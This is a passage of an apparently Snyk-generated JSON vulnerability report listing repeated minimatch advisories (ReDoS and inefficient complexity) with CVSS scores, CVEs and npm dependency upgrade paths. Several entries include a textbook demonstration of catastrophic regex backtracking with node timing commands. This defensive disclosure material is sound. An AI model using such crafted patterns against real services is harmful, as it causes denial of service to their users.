paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.0", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 